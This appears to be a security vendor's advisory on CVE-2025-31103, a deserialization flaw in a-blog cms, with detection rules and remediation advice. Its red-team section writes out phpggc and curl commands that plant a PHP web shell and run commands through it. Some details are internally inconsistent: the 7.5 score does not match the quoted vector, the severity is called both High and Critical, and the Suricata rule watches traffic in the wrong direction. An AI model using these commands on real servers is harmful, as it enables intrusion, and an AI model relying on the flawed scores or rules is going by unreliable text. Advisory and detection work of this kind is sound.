CVE-2025-31103

Executive Summary

CVE-2025-31103 is a critical untrusted data deserialization vulnerability in a-blog cms, a content management system. The flaw allows an unauthenticated attacker to send a specially crafted request that, when deserialized by the application, can store arbitrary files on the server. This file write capability can be leveraged to achieve remote code execution (RCE) by writing a malicious script (e.g., a web shell) to a web-accessible directory. The vulnerability has a CVSS score of 7.5 (High), and no public exploit or patch details are currently available. The EPSS score is 0.0%, indicating low exploitation activity in the wild at the time of analysis, but the risk remains significant due to the potential for full server compromise.

Supply Chain & Package Security

This vulnerability affects a-blog cms, a proprietary PHP-based content management system. It is not distributed via NPM, PyPI, Go, or Ruby registries. The risk is primarily to organizations that self-host this CMS. Administrators should monitor the vendor's official channels for security updates and consider implementing virtual patching or WAF rules until an official patch is released.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low - No special conditions are required for exploitation.
• Privileges Required (PR): None - No authentication is needed.
• User Interaction (UI): None - The victim does not need to perform any action.
• Scope (S): Unchanged - The exploit does not affect other components.
• Confidentiality (C): High - An attacker can read arbitrary files, including sensitive data.
• Integrity (I): High - An attacker can write arbitrary files, leading to code execution.
• Availability (A): High - An attacker could potentially disrupt service.

Threat Level: Critical. The combination of network-based, unauthenticated exploitation with the ability to achieve full remote code execution makes this a high-priority vulnerability for any organization using a-blog cms.

Deep Dive & Mechanics

The vulnerability stems from insecure deserialization of untrusted data. In PHP, deserialization of user-supplied data can lead to object injection if the application uses functions like unserialize() on input without proper validation. When a-blog cms processes a specially crafted request, it deserializes the data, which can trigger PHP magic methods (e.g., __wakeup(), __destruct(), __toString()) within the application's classes. An attacker can craft a serialized payload that, when deserialized, causes the application to write arbitrary content to a file on the server.

The typical attack flow is:

1. The attacker identifies an endpoint in a-blog cms that accepts serialized data (e.g., in a cookie, POST parameter, or request body).
2. The attacker crafts a serialized PHP object that, upon deserialization, triggers a gadget chain within the application's codebase.
3. The gadget chain writes attacker-controlled content (e.g., a PHP web shell) to a writable directory (e.g., /uploads/ or /tmp/).
4. The attacker accesses the written file via a web browser, executing arbitrary PHP code on the server.

The specific gadget chain depends on the classes available in a-blog cms. Common patterns involve classes that have __destruct() methods which call file_put_contents(), fwrite(), or similar functions.

Vulnerable vs. Patched Code

Since no official patch or specific version information is available, a generic vulnerable vs. patched code example is provided based on the described vulnerability.

Vulnerable Code (PHP):

<?php
// Vulnerable endpoint that accepts serialized data
$data = $_POST['data'];
$object = unserialize($data); // Insecure deserialization
// ... rest of the application logic
?>

Patched Code (PHP):

<?php
// Patched endpoint using JSON instead of serialization
$data = $_POST['data'];
$object = json_decode($data, true); // Safe deserialization using JSON
// OR use a whitelist approach with allowed_classes
$object = unserialize($data, ['allowed_classes' => ['SafeClass1', 'SafeClass2']]);
// ... rest of the application logic
?>

The patched code avoids using unserialize() on untrusted input entirely, or restricts the classes that can be deserialized to a safe whitelist. The use of json_decode() is a common and safe alternative.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install a vulnerable version of a-blog cms on a local server (e.g., using Docker or a LAMP stack).
2. Identify an endpoint that accepts serialized data (e.g., /index.php?action=login with a serialized cookie).
3. Use a tool like PHPGGC (PHP Generic Gadget Chains) to generate a payload for a-blog cms.

Exploitation Steps:

1. Reconnaissance: Identify the exact version of a-blog cms and available gadget chains.
2. Payload Generation: Use PHPGGC to generate a payload that writes a web shell.

   phpggc -b a-blog/RCE1 system 'id > /var/www/html/output.txt'
   

3. Delivery: Send the payload to the vulnerable endpoint.

   curl -X POST -d "data=$(phpggc -b a-blog/RCE1 system 'echo "<?php system(\$_GET['cmd']); ?>" > /var/www/html/shell.php')" http://target.com/vulnerable_endpoint
   

4. Execution: Access the web shell to execute commands.

   curl http://target.com/shell.php?cmd=id
   

Note: The exact gadget chain name (a-blog/RCE1) is hypothetical. An attacker would need to identify the correct chain for the specific version.

Blue Team (Defensive)

Detection & Response:

1. Monitor for Deserialization Attempts: Look for unusual serialized PHP objects in HTTP requests (e.g., strings starting with O:, a:, C:).
2. Web Application Firewall (WAF): Deploy rules to block requests containing serialized PHP objects in unexpected parameters.
3. File Integrity Monitoring (FIM): Monitor web directories for new or modified PHP files, especially in upload directories.
4. Log Analysis: Review web server logs for POST requests to unusual endpoints or with large payloads.
5. Honeypots: Deploy decoy files (e.g., shell.php) to detect unauthorized file creation.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests containing serialized PHP objects (e.g., O:10:"ClassName":1:{s:4:"data";s:5:"value";}).
  • Requests to unusual endpoints with large payloads.
  • Outbound connections from the web server to unknown IPs (potential C2).

• File System IOCs:

  • Unexpected PHP files in web-accessible directories (e.g., /uploads/shell.php, /tmp/evil.php).
  • Modified or new files with suspicious content (e.g., system($_GET['cmd'])).
  • Files with recent timestamps in directories that are not normally written to.

• Process IOCs:

  • Web server processes spawning child processes (e.g., sh, bash, cmd.exe).
  • Unusual command execution from the web server user (e.g., www-data).

Detection Engineering

YARA Rule

rule CVE_2025_31103_Deserialization_Attempt {
    meta:
        description = "Detects serialized PHP objects in HTTP requests targeting a-blog cms"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-31103"
    strings:
        $serialized = /O:\d+:"[a-zA-Z0-9_]+":\d+:/  // Matches PHP serialized object format
        $a_blog_class = /a-blog/i  // Case-insensitive match for a-blog class names
    condition:
        $serialized and $a_blog_class
}

Sigma Rule

title: CVE-2025-31103 - a-blog cms Deserialization Attempt
id: 8f4a2b1c-3d5e-4f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects HTTP requests containing serialized PHP objects targeting a-blog cms
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-31103
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'data='  # Adjust based on actual vulnerable parameter
        cs-uri-query|re: 'O:\d+:"[a-zA-Z0-9_]+":\d+:'  # Serialized object pattern
    condition: selection
falsepositives:
    - Legitimate use of serialization in other applications
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-31103 - a-blog cms Deserialization Attempt"; flow:to_server,established; content:"POST"; http_method; content:"data="; http_client_body; pcre:"/O:\d+:\"[a-zA-Z0-9_]+\":\d+:/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate: If possible, isolate affected systems from the network until a patch is applied.
2. Virtual Patching: Deploy WAF rules to block requests containing serialized PHP objects.
3. Disable Unnecessary Features: If the vulnerable endpoint is not required, disable it or restrict access via .htaccess or firewall rules.

Long-Term Fix:

1. Apply Official Patch: Monitor the a-blog cms vendor's website for a security update and apply it immediately.
2. Code Review: If you have access to the source code, review all uses of unserialize() and replace them with safe alternatives like json_decode() or implement strict class whitelisting.
3. Upgrade: Upgrade to the latest patched version of a-blog cms as soon as it is available.

Compensating Controls:

• Implement strict input validation for all user-supplied data.
• Use a Web Application Firewall (WAF) with rules to detect and block deserialization attacks.
• Enable file integrity monitoring on web directories.
• Restrict file write permissions for the web server user to only necessary directories.

Valters IT
Securing Digital Frontiers